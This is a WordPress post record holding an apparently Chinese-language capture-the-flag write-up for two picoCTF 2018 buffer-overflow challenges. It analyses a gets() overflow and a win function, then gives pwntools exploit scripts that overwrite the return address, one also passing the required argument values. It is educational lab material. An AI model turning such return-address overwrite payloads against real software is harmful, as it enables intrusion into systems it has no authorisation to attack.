{"id":87,"date":"2025-07-21T17:11:17","date_gmt":"2025-07-21T09:11:17","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=87"},"modified":"2025-07-21T17:14:15","modified_gmt":"2025-07-21T09:14:15","slug":"picoctf_2018_buffer-overflow-1%e3%80%81picoctf_2018_buffer-overflow-2","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/21\/picoctf_2018_buffer-overflow-1%e3%80%81picoctf_2018_buffer-overflow-2\/","title":{"rendered":"picoctf_2018_buffer overflow 1\u3001picoctf_2018_buffer overflow 2"},"content":{"rendered":"\n
\"\"<\/div><\/figure>\n\n\n\n

1.picoctf_2018_buffer overflow 1\u5206\u6790<\/h2>\n\n\n\n

checksec:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

32\u4f4d\u770b\u8d77\u6765\u633a\u7b80\u5355\u7684\u3002<\/p>\n\n\n\n

main\u51fd\u6570\u6253\u5370Please enter your string: \u4e4b\u540e\u6267\u884cvuln<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


vuln:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u5c31\u662fgets\u6709\u6ea2\u51fa\u561b\u53ef\u4ee5\u5229\u7528\uff0c\u4e0b\u9762\u7684\u8bdd\u6bd4\u8f83\u6709\u610f\u601d\uff0c\u6253\u5370\u4e86\u67d0\u4e2a\u5730\u5740<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


win\u53ef\u4ee5\u5229\u7528\u6253\u5f00flag\u6587\u4ef6\uff0c\u4e4b\u524d\u4e5f\u9047\u5230\u8fc7<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

gets\u51fd\u6570\u9700\u8981\u770b\u4e00\u770b\uff0c\u5c31\u662f\u5f80s\u91cc\u5199\u5165\u4e86\u6587\u4ef6\u7684\u5185\u5bb9\u6700\u540e\u6253\u5370\u51fa\u6765<\/p>\n\n\n\n

\u5c31\u662fvuln\u6ea2\u51fa\u8fd4\u56dewin\u5c31\u884c\u4e86\u3002\u3002\u3002<\/p>\n\n\n\n


2.picoctf_2018_buffer overflow 1\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29730)\n\npaylaod=b'a'*(0x28+4)+p32(0x80485CB)\np.recvuntil(\"Please enter your string: \")\np.sendline(paylaod)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

3.picoctf_2018_buffer overflow_2\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

checksec:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4e86NX\uff0c\u6ca1\u6709\u627e\u5230mprotect\u51fd\u6570\uff0c\u5e94\u8be5\u4e0d\u662f\u7528shellcode<\/p>\n\n\n\n
main\u51fd\u6570\u548c\u4e0a\u4e00\u9053\u9898\u662f\u4e00\u6837\u7684<\/p>\n\n\n\n
vuln\u6709\u4e00\u70b9\u533a\u522b\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u8fd8\u662fgets<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u53d1\u73b0\u5bf9\u6253\u5370flag\u662f\u6709\u8981\u6c42\u7684<\/p>\n\n\n\n
if ( a1 == 0xDEADBEEF && a2 == 0xDEADC0DE )\n    result = (char *)printf(&s);<\/code><\/pre>\n\n\n\n
\u5176\u4ed6\u548c\u4e0a\u4e00\u9053\u9898\u5927\u5dee\u4e0d\u5dee\uff0c\u73b0\u5728\u60f3\u60f3\u601d\u8def\uff0c\u9996\u5148\u80af\u5b9a\u5f97\u6ea2\u51fa\uff0c\u8fd4\u56de\u5230win,\u7136\u540e\u628aa1\u548ca2\u7684\u503c\u4f20\u8fdb\u53bb\u5c31\u884c\u3002<\/p>\n\n\n\n
4.\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",28260)\n\npayload=b'a'*(0x6c+4)+p32(0x80485CB)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)\np.recvuntil(\"Please enter your string: \")\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n

\u8fd9\u4e2ap32(0)\u5c31\u76f8\u5f53\u4e8ewin\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\uff0c\u5176\u5b9e\u4e5f\u53ef\u4ee5\u8fd4\u56demain\u3002<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u597d\u5427\uff0c\u8fd9\u7bc7\u5c31\u8fd9\u6837\uff0c\u592a\u957f\u4e86\u4e0d\u597d\u770b\uff0c\u563f\u563f\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
1.picoctf_2018_buffer overflow 1\u5206\u6790 checksec: 32\u4f4d\u770b\u8d77\u6765\u633a\u7b80\u5355\u7684 […]<\/p>\n","protected":false},"author":1,"featured_media":103,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-87","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/87","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=87"}],"version-history":[{"count":2,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/87\/revisions"}],"predecessor-version":[{"id":105,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/87\/revisions\/105"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/103"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=87"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=87"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=87"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}